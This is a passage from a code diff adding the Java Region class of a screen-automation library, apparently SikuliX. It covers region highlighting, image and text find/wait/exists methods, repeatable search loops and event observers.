+		return Region.create(x + c * colW, y + r * rowH, colW, rowH);
+	}
+//</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="highlight">
+  protected void updateSelf() {
+    if (overlay != null) {
+      highlight(false, null);
+      highlight(true, null);
+    }
+  }
+
+  /**
+   * Toggle the regions Highlight visibility (red frame)
+   *
+   * @return the region itself
+   */
+  public Region highlight() {
+    // Pass true if overlay is null, false otherwise
+    highlight(overlay == null, null);
+    return this;
+  }
+
+  /**
+   * Toggle the regions Highlight visibility (frame of specified color)<br>
+   * allowed color specifications for frame color: <br>
+   * - a color name out of: black, blue, cyan, gray, green, magenta, orange, pink, red, white, yellow
+   * (lowercase and uppercase can be mixed, internally transformed to all uppercase) <br>
+   * - these colornames exactly written: lightGray, LIGHT_GRAY, darkGray and DARK_GRAY <br>
+   * - a hex value like in HTML: #XXXXXX (max 6 hex digits)
+   * - an RGB specification as: #rrrgggbbb where rrr, ggg, bbb are integer values in range 0 - 255
+   * padded with leading zeros if needed (hence exactly 9 digits)
+   * @param color Color of frame
+   * @return the region itself
+   */
+  public Region highlight(String color) {
+    // Pass true if overlay is null, false otherwise
+    highlight(overlay == null, color);
+    return this;
+  }
+
+  /**
+   * Sets the regions Highlighting border
+   *
+   * @param toEnable set overlay enabled or disabled
+   * @param color Color of frame (see method highlight(color))
+   */
+  private Region highlight(boolean toEnable, String color) {
+    if (isOtherScreen()) {
+      return this;
+    }
+    Debug.action("toggle highlight " + toString() + ": " + toEnable +
+                (color != null ? " color: " + color : ""));
+    if (toEnable) {
+      overlay = new ScreenHighlighter(getScreen(), color);
+      overlay.highlight(this);
+    } else {
+      if (overlay != null) {
+        overlay.close();
+        overlay = null;
+      }
+    }
+    return this;
+  }
+
+
+  /**
+   * show the regions Highlight for the given time in seconds (red frame)
+   * if 0 - use the global Settings.SlowMotionDelay
+   *
+   * @param secs time in seconds
+   * @return the region itself
+   */
+  public Region highlight(float secs) {
+    return highlight(secs, null);
+  }
+
+  /**
+   * show the regions Highlight for the given time in seconds (frame of specified color)
+   * if 0 - use the global Settings.SlowMotionDelay
+   *
+   * @param secs time in seconds
+   * @param color Color of frame (see method highlight(color))
+   * @return the region itself
+   */
+  public Region highlight(float secs, String color) {
+    if (isOtherScreen()) {
+      return this;
+    }
+    if (secs < 0.1) {
+      return highlight((int) secs, color);
+    }
+    Debug.action("highlight " + toString() + " for " + secs + " secs" +
+          (color != null ? " color: " + color : ""));
+    ScreenHighlighter _overlay = new ScreenHighlighter(getScreen(), color);
+    _overlay.highlight(this, secs);
+    return this;
+  }
+
+  /**
+   * hack to implement the getLastMatch() convenience 0 means same as highlight() &lt; 0 same as highlight(secs) if
+   * available the last match is highlighted
+   *
+   * @param secs seconds
+   * @return this region
+   */
+  public Region highlight(int secs) {
+    return highlight(secs, null);
+  }
+
+
+  /**
+   * Show highlight in selected color
+   *
+   * @param secs time in seconds
+   * @param color Color of frame (see method highlight(color))
+   * @return this region
+   */
+  public Region highlight(int secs, String color) {
+    if (isOtherScreen()) {
+      return this;
+    }
+    if (secs > 0) {
+      return highlight((float) secs, color);
+    }
+    if (lastMatch != null) {
+      if (secs < 0) {
+        return lastMatch.highlight((float) -secs, color);
+      }
+      return lastMatch.highlight(Settings.DefaultHighlightTime, color);
+    }
+    return this;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="find public methods">
+  /**
+   * WARNING: wait(long timeout) is taken by Java Object as final. This method catches any interruptedExceptions
+   *
+   * @param timeout The time to wait
+   */
+  public void wait(double timeout) {
+    try {
+      Thread.sleep((long) (timeout * 1000L));
+    } catch (InterruptedException e) {
+      e.printStackTrace();
+    }
+  }
+
+  /**
+   * Returns the image of the given Pattern, String or Image
+   *
+   * @param target The Pattern, String or Image
+   * @return the Image
+   */
+  private <PSI> Image getImage(PSI target) {
+    if (target instanceof Pattern) {
+      return ((Pattern) target).getImage();
+    } else if (target instanceof String) {
+      return Image.get((String) target);
+    } else if (target instanceof Image) {
+      return (Image) target;
+    } else {
+      return null;
+    }
+  }
+
+  /**
+   * return false to skip <br>
+   * return true to try again <br>
+   * throw FindFailed to abort
+   *
+   * @param target Handles a failed find action
+   * @throws FindFailed
+   */
+  private <PSI> boolean handleFindFailed(PSI target) throws FindFailed {
+    return handleFindFailedShowDialog(target, false);
+  }
+
+  private <PSI> boolean handleFindFailedQuietly(PSI target) {
+    try {
+      return handleFindFailedShowDialog(target, false);
+    } catch (FindFailed ex) {
+    }
+    return false;
+  }
+
+  private <PSI> boolean handleFindFailedImageMissing(PSI target) {
+    boolean shouldHandle = false;
+    try {
+      shouldHandle = handleFindFailedShowDialog(target, true);
+    } catch (FindFailed ex) {
+      return false;
+    }
+    if (!shouldHandle) {
+      return false;
+    }
+    getRobotForRegion().delay(500);
+    ScreenImage img = getScreen().userCapture("capture missing image");
+    if (img != null) {
+      String path = ImagePath.getBundlePath();
+      if (path == null) {
+        return false;
+      }
+      String imgName = (String) target;
+      img.getFile(path, imgName);
+      return true;
+    }
+    return false;
+  }
+
+  private boolean handleFindFailedShowDialog(Object target, boolean shouldCapture) throws FindFailed {
+    FindFailedResponse response;
+    if (findFailedResponse == FindFailedResponse.PROMPT) {
+      FindFailedDialog fd = new FindFailedDialog(target, shouldCapture);
+      fd.setVisible(true);
+      response = fd.getResponse();
+      fd.dispose();
+      wait(0.5);
+    } else {
+      response = findFailedResponse;
+    }
+    if (response == FindFailedResponse.SKIP) {
+      return false;
+    } else if (response == FindFailedResponse.RETRY) {
+      return true;
+		} else if (response == FindFailedResponse.ABORT) {
+			String targetStr = target.toString();
+			if (target instanceof String) {
+				targetStr = targetStr.trim();
+			}
+			throw new FindFailed(String.format("can not find %s in %s", targetStr, this.toStringShort()));
+		}
+    return false;
+  }
+
+  /**
+   * finds the given Pattern, String or Image in the region and returns the best match. If AutoWaitTimeout
+   * is set, this is equivalent to wait(). Otherwise only one search attempt will be done.
+   *
+	 * @param <PSI> Pattern, String or Image
+   * @param target A search criteria
+   * @return If found, the element. null otherwise
+   * @throws FindFailed if the Find operation failed
+   */
+  public <PSI> Match find(PSI target) throws FindFailed {
+    if (autoWaitTimeout > 0) {
+      return wait(target, autoWaitTimeout);
+    }
+    lastMatch = null;
+		String targetStr = target.toString();
+		if (target instanceof String) {
+			targetStr = targetStr.trim();
+		}
+    while (true) {
+      try {
+        log(3, "find: waiting 0 secs for %s to appear in %s", targetStr, this.toStringShort());
+        lastMatch = doFind(target, null);
+      } catch (IOException ex) {
+        if (ex instanceof IOException) {
+          if (handleFindFailedImageMissing(target)) {
+            continue;
+          }
+        }
+        throw new FindFailed(ex.getMessage());
+      }
+      if (lastMatch != null) {
+        Image img = getImage(target);
+        lastMatch.setImage(img);
+        if (img != null) {
+          img.setLastSeen(lastMatch.getRect(), lastMatch.getScore());
+        }
+	      log(lvl, "find: %s has appeared \nat %s", targetStr, lastMatch);
+        return lastMatch;
+      }
+	    log(3, "find: %s has not appeared [%d msec]", targetStr, lastFindTime);
+      if (!handleFindFailed(target)) {
+        return null;
+      }
+    }
+  }
+
+  /**
+   * finds all occurences of the given Pattern, String or Image in the region and returns an Iterator of Matches.
+	 *
+   *
+	 * @param <PSI> Pattern, String or Image
+   * @param target A search criteria
+   * @return All elements matching
+   * @throws FindFailed if the Find operation failed
+   */
+  public <PSI> Iterator<Match> findAll(PSI target) throws FindFailed {
+    lastMatches = null;
+		String targetStr = target.toString();
+		if (target instanceof String) {
+			targetStr = targetStr.trim();
+		}
+    while (true) {
+      try {
+        if (autoWaitTimeout > 0) {
+          RepeatableFindAll rf = new RepeatableFindAll(target);
+          rf.repeat(autoWaitTimeout);
+          lastMatches = rf.getMatches();
+        } else {
+          lastMatches = doFindAll(target, null);
+        }
+      } catch (Exception ex) {
+        if (ex instanceof IOException) {
+          if (handleFindFailedImageMissing(target)) {
+            continue;
+          }
+        }
+        throw new FindFailed(ex.getMessage());
+      }
+      if (lastMatches != null) {
+        return lastMatches;
+      }
+      if (!handleFindFailed(target)) {
+        return null;
+      }
+    }
+  }
+
+  /**
+   * Waits for the Pattern, String or Image to appear until the AutoWaitTimeout value is exceeded.
+   *
+	 * @param <PSI> Pattern, String or Image
+   * @param target The target to search for
+   * @return The found Match
+   * @throws FindFailed if the Find operation finally failed
+   */
+  public <PSI> Match wait(PSI target) throws FindFailed {
+    if (target instanceof Float || target instanceof Double) {
+      wait(0.0 + ((Double) target));
+      return null;
+    }
+    return wait(target, autoWaitTimeout);
+  }
+
+  /**
+   * Waits for the Pattern, String or Image to appear or timeout (in second) is passed
+   *
+	 * @param <PSI> Pattern, String or Image
+   * @param target The target to search for
+   * @param timeout Timeout in seconds
+   * @return The found Match
+   * @throws FindFailed if the Find operation finally failed
+   */
+  public <PSI> Match wait(PSI target, double timeout) throws FindFailed {
+    RepeatableFind rf;
+    lastMatch = null;
+		String targetStr = target.toString();
+		if (target instanceof String) {
+			targetStr = targetStr.trim();
+		}
+    while (true) {
+      try {
+        log(3, "find: waiting %.1f secs for %s to appear in %s", timeout, targetStr, this.toStringShort());
+        rf = new RepeatableFind(target);
+        rf.repeat(timeout);
+        lastMatch = rf.getMatch();
+      } catch (Exception ex) {
+        if (ex instanceof IOException) {
+          if (handleFindFailedImageMissing(target)) {
+            continue;
+          }
+        }
+        throw new FindFailed(ex.getMessage());
+      }
+      if (lastMatch != null) {
+        lastMatch.setImage(rf._image);
+        if (rf._image != null) {
+          rf._image.setLastSeen(lastMatch.getRect(), lastMatch.getScore());
+        }
+        log(lvl, "find: %s has appeared \nat %s", targetStr, lastMatch);
+        break;
+      }
+	    log(3, "find: %s has not appeared [%d msec]", targetStr, lastFindTime);
+      if (!handleFindFailed(target)) {
+        return null;
+      }
+    }
+    return lastMatch;
+  }
+
+//TODO 1.2.0 Region.compare as time optimized Region.exists
+	/**
+	 * time optimized Region.exists, when image-size == region-size<br>
+	 * 1.1.x: just using exists(img, 0), sizes not checked
+	 * @param img image file name
+	 * @return the match or null if not equal
+	 */
+		public Match compare(String img) {
+		return compare(Image.create(img));
+	}
+
+	/**
+	 * time optimized Region.exists, when image-size == region-size<br>
+	 * 1.1.x: just using exists(img, 0), sizes not checked
+	 * @param img Image object
+	 * @return the match or null if not equal
+	 */
+	public Match compare(Image img) {
+		return exists(img, 0);
+	}
+
+	/**
+   * Check if target exists (with the default autoWaitTimeout)
+   *
+	 * @param <PSI> Pattern, String or Image
+   * @param target Pattern, String or Image
+   * @return the match (null if not found or image file missing)
+   */
+  public <PSI> Match exists(PSI target) {
+    return exists(target, autoWaitTimeout);
+  }
+
+  /**
+   * Check if target exists with a specified timeout<br>
+   * timout = 0: returns immediately after first search
+   *
+	 * @param <PSI> Pattern, String or Image
+   * @param target The target to search for
+   * @param timeout Timeout in seconds
+   * @return the match (null if not found or image file missing)
+   */
+  public <PSI> Match exists(PSI target, double timeout) {
+    lastMatch = null;
+		String targetStr = target.toString();
+		if (target instanceof String) {
+			targetStr = targetStr.trim();
+		}
+    while (true) {
+      try {
+        log(3, "exists: waiting %.1f secs for %s to appear in %s", timeout, targetStr, this.toStringShort());
+        RepeatableFind rf = new RepeatableFind(target);
+        if (rf.repeat(timeout)) {
+          lastMatch = rf.getMatch();
+          Image img = rf._image;
+          lastMatch.setImage(img);
+          if (img != null) {
+            img.setLastSeen(lastMatch.getRect(), lastMatch.getScore());
+          }
+	        log(lvl, "exists: %s has appeared \nat %s", targetStr, lastMatch);
+          return lastMatch;
+        } else {
+          if (!handleFindFailedQuietly(target)) {
+            break;
+          }
+        }
+      } catch (Exception ex) {
+        if (ex instanceof IOException) {
+          if (!handleFindFailedImageMissing(target)) {
+            break;
+          }
+        }
+      }
+    }
+    log(3, "exists: %s has not appeared [%d msec]", targetStr, lastFindTime);
+    return null;
+  }
+
+  /**
+   * Use findText() instead of find() in cases where the given string could be misinterpreted as an image filename
+   *
+   * @param text text
+   * @param timeout time
+   * @return the matched region containing the text
+	 * @throws org.sikuli.script.FindFailed if not found
+   */
+  public Match findText(String text, double timeout) throws FindFailed {
+    // the leading/trailing tab is used to internally switch to text search directly
+    return wait("\t" + text + "\t", timeout);
+  }
+
+  /**
+   * Use findText() instead of find() in cases where the given string could be misinterpreted as an image filename
+   *
+   * @param text text
+   * @return the matched region containing the text
+	 * @throws org.sikuli.script.FindFailed if not found
+   */
+  public Match findText(String text) throws FindFailed {
+    return findText(text, autoWaitTimeout);
+  }
+
+  /**
+   * Use findAllText() instead of findAll() in cases where the given string could be misinterpreted as an image filename
+   *
+   * @param text text
+   * @return the matched region containing the text
+	 * @throws org.sikuli.script.FindFailed  if not found
+   */
+  public Iterator<Match> findAllText(String text) throws FindFailed {
+    // the leading/trailing tab is used to internally switch to text search directly
+    return findAll("\t" + text + "\t");
+  }
+
+  /**
+   * waits until target vanishes or timeout (in seconds) is
+   * passed (AutoWaitTimeout)
+   *
+	 * @param <PSI> Pattern, String or Image
+	 * @param target The target to wait for it to vanish
+   * @return true if the target vanishes, otherwise returns false.
+   */
+  public <PSI> boolean waitVanish(PSI target) {
+    return waitVanish(target, autoWaitTimeout);
+  }
+
+  /**
+   * waits until target vanishes or timeout (in seconds) is
+   * passed
+   *
+	 * @param <PSI> Pattern, String or Image
+	 * @param target Pattern, String or Image
+	 * @param timeout time in seconds
+   * @return true if target vanishes, false otherwise and if imagefile is missing.
+   */
+  public <PSI> boolean waitVanish(PSI target, double timeout) {
+    while (true) {
+      try {
+        log(lvl, "waiting for " + target + " to vanish");
+        RepeatableVanish r = new RepeatableVanish(target);
+        if (r.repeat(timeout)) {
+          log(lvl, "" + target + " has vanished");
+          return true;
+        }
+        log(lvl, "" + target + " has not vanished before timeout");
+        return false;
+      } catch (Exception ex) {
+        if (ex instanceof IOException) {
+          if (handleFindFailedImageMissing(target)) {
+            continue;
+          }
+        }
+        break;
+      }
+    }
+    return false;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="find internal methods">
+  /**
+   * Match doFind( Pattern/String/Image ) finds the given pattern on the screen and returns the best match without
+   * waiting.
+   */
+  private <PSI> Match doFind(PSI ptn, RepeatableFind repeating) throws IOException {
+    Finder f = null;
+    Match m = null;
+    boolean findingText = false;
+    lastFindTime = (new Date()).getTime();
+    ScreenImage simg;
+    if (repeating != null && repeating._finder != null) {
+      simg = getScreen().capture(this);
+      f = repeating._finder;
+      f.setScreenImage(simg);
+      f.setRepeating();
+      lastSearchTime = (new Date()).getTime();
+      f.findRepeat();
+    } else {
+      Image img = null;
+      if (ptn instanceof String) {
+        if (((String) ptn).startsWith("\t") && ((String) ptn).endsWith("\t")) {
+          findingText = true;
+        } else {
+          img = Image.create((String) ptn);
+          if (img.isValid()) {
+            lastSearchTime = (new Date()).getTime();
+            f = checkLastSeenAndCreateFinder(img, repeating.getFindTimeOut(), null);
+            if (!f.hasNext()) {
+              f.find(img);
+            }
+          } else if (img.isText()) {
+            findingText = true;
+          } else {
+            throw new IOException("Region: doFind: Image not loadable: " + (String) ptn);
+          }
+        }
+				if (findingText) {
+					if (TextRecognizer.getInstance() != null) {
+						log(lvl, "doFind: Switching to TextSearch");
+						f = new Finder(getScreen().capture(x, y, w, h), this);
+						lastSearchTime = (new Date()).getTime();
+						f.findText((String) ptn);
+					}
+        }
+      } else if (ptn instanceof Pattern) {
+        if (((Pattern) ptn).isValid()) {
+          img = ((Pattern) ptn).getImage();
+          lastSearchTime = (new Date()).getTime();
+          f = checkLastSeenAndCreateFinder(img, repeating.getFindTimeOut(), (Pattern) ptn);
+          if (!f.hasNext()) {
+            f.find((Pattern) ptn);
+          }
+        } else {
+          throw new IOException("Region: doFind: Image not loadable: " + (String) ptn);
+        }
+      } else if (ptn instanceof Image) {
+        if (((Image) ptn).isValid()) {
+          img = ((Image) ptn);
+          lastSearchTime = (new Date()).getTime();
+          f = checkLastSeenAndCreateFinder(img, repeating.getFindTimeOut(), null);
+          if (!f.hasNext()) {
+            f.find(img);
+          }
+        } else {
+          throw new IOException("Region: doFind: Image not loadable: " + (String) ptn);
+        }
+      } else {
+        log(-1, "doFind: invalid parameter: %s", ptn);
+        Sikulix.terminate(999);
+      }
+      if (repeating != null) {
+        repeating._finder = f;
+        repeating._image = img;
+      }
+    }
+    lastSearchTime = (new Date()).getTime() - lastSearchTime;
+    lastFindTime = (new Date()).getTime() - lastFindTime;
+    if (f.hasNext()) {
+      m = f.next();
+      m.setTimes(lastFindTime, lastSearchTime);
+    }
+    return m;
+  }
+
+  private Finder checkLastSeenAndCreateFinder(Image img, double findTimeout, Pattern ptn) {
+    ScreenImage simg = getScreen().capture(this);
+    if (!Settings.UseImageFinder && Settings.CheckLastSeen && null != img.getLastSeen()) {
+      Region r = Region.create(img.getLastSeen());
+      float score = (float) (img.getLastSeenScore() - 0.01); 
+      if (this.contains(r)) {
+        Finder f = null;
+        if (this.scr instanceof VNCScreen) {
+          f = new Finder(new VNCScreen().capture(r), r);
+        } else {
+          f = new Finder(simg.getSub(r.getRect()), r);
+        }
+        if (ptn == null) {
+          f.find(new Pattern(img).similar(score));
+        } else {
+          f.find(new Pattern(ptn).similar(score));
+        }
+        if (f.hasNext()) {
+          log(lvl, "checkLastSeen: still there");
+          return f;
+        }
+        log(lvl, "checkLastSeen: not there");
+      }
+    }
+    if (Settings.UseImageFinder) {
+      ImageFinder f = new ImageFinder(this);
+      f.setFindTimeout(findTimeout);
+      return f;
+    } else {
+      return new Finder(simg, this);
+    }
+  }
+
+  /**
+   * Match findAllNow( Pattern/String/Image ) finds all the given pattern on the screen and returns the best matches
+   * without waiting.
+   */
+  private <PSI> Iterator<Match> doFindAll(PSI ptn, RepeatableFindAll repeating) throws IOException {
+    boolean findingText = false;
+    Finder f;
+    ScreenImage simg = getScreen().capture(x, y, w, h);
+    if (repeating != null && repeating._finder != null) {
+      f = repeating._finder;
+      f.setScreenImage(simg);
+      f.setRepeating();
+      f.findAllRepeat();
+    } else {
+      f = new Finder(simg, this);
+      Image img = null;
+      if (ptn instanceof String) {
+        if (((String) ptn).startsWith("\t") && ((String) ptn).endsWith("\t")) {
+          findingText = true;
+        } else {
+          img = Image.create((String) ptn);
+          if (img.isValid()) {
+            f.findAll(img);
+          } else if (img.isText()) {
+            findingText = true;
+          } else {
+            throw new IOException("Region: doFind: Image not loadable: " + (String) ptn);
+          }
+        }
+        if (findingText) {
+					if (TextRecognizer.getInstance() != null) {
+						log(lvl, "doFindAll: Switching to TextSearch");
+            f.findAllText((String) ptn);
+          }
+        }
+      } else if (ptn instanceof Pattern) {
+        if (((Pattern) ptn).isValid()) {
+          img = ((Pattern) ptn).getImage();
+          f.findAll((Pattern) ptn);
+        } else {
+          throw new IOException("Region: doFind: Image not loadable: " + (String) ptn);
+        }
+      } else if (ptn instanceof Image) {
+        if (((Image) ptn).isValid()) {
+          img = ((Image) ptn);
+          f.findAll((Image) ptn);
+        } else {
+          throw new IOException("Region: doFind: Image not loadable: " + (String) ptn);
+        }
+      } else {
+        log(-1, "doFind: invalid parameter: %s", ptn);
+        Sikulix.terminate(999);
+      }
+      if (repeating != null) {
+        repeating._finder = f;
+        repeating._image = img;
+      }
+    }
+    if (f.hasNext()) {
+      return f;
+    }
+    return null;
+  }
+
+  // Repeatable Find ////////////////////////////////
+  private abstract class Repeatable {
+
+    private double findTimeout;
+
+    abstract void run() throws Exception;
+
+    abstract boolean ifSuccessful();
+
+    double getFindTimeOut() {
+      return findTimeout;
+    }
+
+    // return TRUE if successful before timeout
+    // return FALSE if otherwise
+    // throws Exception if any unexpected error occurs
+    boolean repeat(double timeout) throws Exception {
+      findTimeout = timeout;
+      int MaxTimePerScan = (int) (1000.0 / waitScanRate);
+      int timeoutMilli = (int) (timeout * 1000);
+      long begin_t = (new Date()).getTime();
+      do {
+        long before_find = (new Date()).getTime();
+        run();
+        if (ifSuccessful()) {
+          return true;
+        } else if (timeoutMilli < MaxTimePerScan || Settings.UseImageFinder) {
+          // instant return on first search failed if timeout very small or 0
+          // or when using new ImageFinder
+          return false;
+        }
+        long after_find = (new Date()).getTime();
+        if (after_find - before_find < MaxTimePerScan) {          
+          getRobotForRegion().delay((int) (MaxTimePerScan - (after_find - before_find)));
+        } else {
+          getRobotForRegion().delay(10);
+        }
+      } while (begin_t + timeout * 1000 > (new Date()).getTime());
+      return false;
+    }
+  }
+
+  private class RepeatableFind extends Repeatable {
+
+    Object _target;
+    Match _match = null;
+    Finder _finder = null;
+    Image _image = null;
+
+    public <PSI> RepeatableFind(PSI target) {
+      _target = target;
+    }
+
+    public Match getMatch() {
+      if (_finder != null) {
+        _finder.destroy();
+      }
+      return (_match == null) ? _match : new Match(_match);
+    }
+
+    @Override
+    public void run() throws IOException {
+      _match = doFind(_target, this);
+    }
+
+    @Override
+    boolean ifSuccessful() {
+      return _match != null;
+    }
+  }
+
+  private class RepeatableVanish extends RepeatableFind {
+
+    public <PSI> RepeatableVanish(PSI target) {
+      super(target);
+    }
+
+    @Override
+    boolean ifSuccessful() {
+      return _match == null;
+    }
+  }
+
+  private class RepeatableFindAll extends Repeatable {
+
+    Object _target;
+    Iterator<Match> _matches = null;
+    Finder _finder = null;
+    Image _image = null;
+
+    public <PSI> RepeatableFindAll(PSI target) {
+      _target = target;
+    }
+
+    public Iterator<Match> getMatches() {
+      return _matches;
+    }
+
+    @Override
+    public void run() throws IOException {
+      _matches = doFindAll(_target, this);
+    }
+
+    @Override
+    boolean ifSuccessful() {
+      return _matches != null;
+    }
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Find internal support">
+//  private <PatternStringRegionMatch> Region getRegionFromTarget(PatternStringRegionMatch target) throws FindFailed {
+//    if (target instanceof Pattern || target instanceof String || target instanceof Image) {
+//      Match m = find(target);
+//      if (m != null) {
+//        return m.setScreen(scr);
+//      }
+//      return null;
+//    }
+//    if (target instanceof Region) {
+//      return ((Region) target).setScreen(scr);
+//    }
+//    return null;
+//  }
+
+  private <PSIMRL> Location getLocationFromTarget(PSIMRL target) throws FindFailed {
+    if (target instanceof Pattern || target instanceof String || target instanceof Image) {
+      Match m = find(target);
+      if (m != null) {
+        if (isOtherScreen()) {
+          return m.getTarget().setOtherScreen(scr);
+        } else {
+          return m.getTarget();
+        }
+      }
+      return null;
+    }
+    if (target instanceof Match) {
+      return ((Match) target).getTarget();
+    }
+    if (target instanceof Region) {
+      return ((Region) target).getCenter();
+    }
+    if (target instanceof Location) {
+      return new Location((Location) target);
+    }
+    return null;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Observing">
+
+	  protected Observer getObserver() {
+    if (regionObserver == null) {
+      regionObserver = new Observer(this);
+    }
+    return regionObserver;
+  }
+
+  /**
+   * evaluate if at least one event observer is defined for this region (the observer need not be running)
+   * @return true, if the region has an observer with event observers
+   */
+  public boolean hasObserver() {
+    if (regionObserver != null) {
+      return regionObserver.hasObservers();
+    }
+    return false;
+  }
+
+  /**
+   *
+   * @return true if an observer is running for this region
+   */
+  public boolean isObserving() {
+    return observing;
+  }
+
+  /**
+   *
+   * @return true if any events have happened for this region, false otherwise
+   */
+  public boolean hasEvents() {
+    return Observing.hasEvents(this);
+  }
+
+  /**
+   * the region's events are removed from the list
+   * @return the region's happened events as array if any (size might be 0)
+   */
+  public ObserveEvent[] getEvents() {
+    return Observing.getEvents(this);
+  }
+
+  /**
+   * the event is removed from the list
+   * @param name event's name
+   * @return the named event if happened otherwise null
+   */
+  public ObserveEvent getEvent(String name) {
+    return Observing.getEvent(name);
+  }
+
+  /**
+   * set the observer with the given name inactive (not checked while observing)
+   * @param name observers name
+   */
+  public void setInactive(String name) {
+    if (!hasObserver()) {
+      return;
+    }
+    Observing.setActive(name, false);
+  }
+
+  /**
+   * set the observer with the given name active (not checked while observing)
+   * @param name  observers name
+   */
+  public void setActive(String name) {
+    if (!hasObserver()) {
+      return;
+    }
+    Observing.setActive(name, true);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for target
+   * and notify the given observer about this event<br>
+   * for details about the observe event handler: {@link ObserverCallBack}<br>
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}<br>
+   * @param <PSI> Pattern, String or Image
+   * @param target Pattern, String or Image
+   * @param observer ObserverCallBack
+   * @return the event's name
+   */
+  public <PSI> String onAppear(PSI target, Object observer) {
+    return onEvent(target, observer, ObserveEvent.Type.APPEAR);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for target
+   * success and details about the event can be obtained using @{link Observing}<br>
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}<br>
+   * @param <PSI> Pattern, String or Image
+   * @param target Pattern, String or Image
+   * @return the event's name
+   */
+  public <PSI> String onAppear(PSI target) {
+    return onEvent(target, null, ObserveEvent.Type.APPEAR);
+  }
+
+  private <PSIC> String onEvent(PSIC targetThreshhold, Object observer, ObserveEvent.Type obsType) {
+    if (observer != null && (observer.getClass().getName().contains("org.python") ||
+            observer.getClass().getName().contains("org.jruby"))) {
+      observer = new ObserverCallBack(observer, obsType);
+    }
+    String name = Observing.add(this, (ObserverCallBack) observer, obsType, targetThreshhold);
+    log(lvl, "%s: observer %s %s: %s with: %s", toStringShort(), obsType,
+            (observer == null ? "" : " with callback"), name, targetThreshhold);
+    return name;
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for the target to vanish
+   * and notify the given observer about this event<br>
+   * for details about the observe event handler: {@link ObserverCallBack}<br>
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}<br>
+   * @param <PSI> Pattern, String or Image
+   * @param target Pattern, String or Image
+   * @param observer ObserverCallBack
+   * @return the event's name
+   */
+  public <PSI> String onVanish(PSI target, Object observer) {
+    return onEvent(target, observer, ObserveEvent.Type.VANISH);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for the target to vanish
+   * success and details about the event can be obtained using @{link Observing}<br>
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}<br>
+   * @param <PSI> Pattern, String or Image
+   * @param target Pattern, String or Image
+   * @return the event's name
+   */
+  public <PSI> String onVanish(PSI target) {
+    return onEvent(target, null, ObserveEvent.Type.VANISH);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for changes in the region
+   * and notify the given observer about this event
+   * for details about the observe event handler: {@link ObserverCallBack}
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @param threshold minimum size of changes (rectangle threshhold x threshold)
+   * @param observer ObserverCallBack
+   * @return the event's name
+   */
+  public String onChange(int threshold, Object observer) {
+    return onEvent( (threshold > 0 ? threshold : Settings.ObserveMinChangedPixels),
+            observer, ObserveEvent.Type.CHANGE);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for changes in the region
+   * success and details about the event can be obtained using @{link Observing}<br>
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @param threshold minimum size of changes (rectangle threshhold x threshold)
+   * @return the event's name
+   */
+  public String onChange(int threshold) {
+    return onEvent( (threshold > 0 ? threshold : Settings.ObserveMinChangedPixels),
+            null, ObserveEvent.Type.CHANGE);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for changes in the region
+   * and notify the given observer about this event <br>
+   * minimum size of changes used: Settings.ObserveMinChangedPixels
+   * for details about the observe event handler: {@link ObserverCallBack}
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @param observer ObserverCallBack
+   * @return the event's name
+   */
+  public String onChange(Object observer) {
+    return onEvent(Settings.ObserveMinChangedPixels, observer, ObserveEvent.Type.CHANGE);
+  }
+
+  /**
+   * a subsequently started observer in this region should wait for changes in the region
+   * success and details about the event can be obtained using @{link Observing}<br>
+   * minimum size of changes used: Settings.ObserveMinChangedPixels
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @return the event's name
+   */
+  public String onChange() {
+    return onEvent(Settings.ObserveMinChangedPixels, null, ObserveEvent.Type.CHANGE);
+  }
+
+//<editor-fold defaultstate="collapsed" desc="obsolete">
+//	/**
+//	 *INTERNAL USE ONLY: for use with scripting API bridges
+//	 * @param <PSI> Pattern, String or Image
+//	 * @param target Pattern, String or Image
+//	 * @param observer ObserverCallBack
+//	 * @return the event's name
+//	 */
+//	public <PSI> String onAppearJ(PSI target, Object observer) {
+//		return onEvent(target, observer, ObserveEvent.Type.APPEAR);
+//	}
+//
+//	/**
+//	 *INTERNAL USE ONLY: for use with scripting API bridges
+//	 * @param <PSI> Pattern, String or Image
+//	 * @param target Pattern, String or Image
+//	 * @param observer ObserverCallBack
+//	 * @return the event's name
+//	 */
+//	public <PSI> String onVanishJ(PSI target, Object observer) {
+//		return onEvent(target, observer, ObserveEvent.Type.VANISH);
+//	}
+//
+//	/**
+//	 *INTERNAL USE ONLY: for use with scripting API bridges
+//	 * @param threshold min pixel size - 0 = ObserveMinChangedPixels
+//	 * @param observer ObserverCallBack
+//	 * @return the event's name
+//	 */
+//	public String onChangeJ(int threshold, Object observer) {
+//		return onEvent( (threshold > 0 ? threshold : Settings.ObserveMinChangedPixels),
+//						observer, ObserveEvent.Type.CHANGE);
+//	}
+//
+//</editor-fold>
+
+  public String onChangeDo(int threshold, Object observer) {
+    String name = Observing.add(this, (ObserverCallBack) observer, ObserveEvent.Type.CHANGE, threshold);
+    log(lvl, "%s: onChange%s: %s minSize: %d", toStringShort(),
+            (observer == null ? "" : " with callback"), name, threshold);
+    return name;
+  }
+
+  /**
+   * start an observer in this region that runs forever (use stopObserving() in handler)
+   * for details about the observe event handler: {@link ObserverCallBack}
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @return false if not possible, true if events have happened
+   */
+  public boolean observe() {
+    return observe(Float.POSITIVE_INFINITY);
+  }
+
+  /**
+   * start an observer in this region for the given time
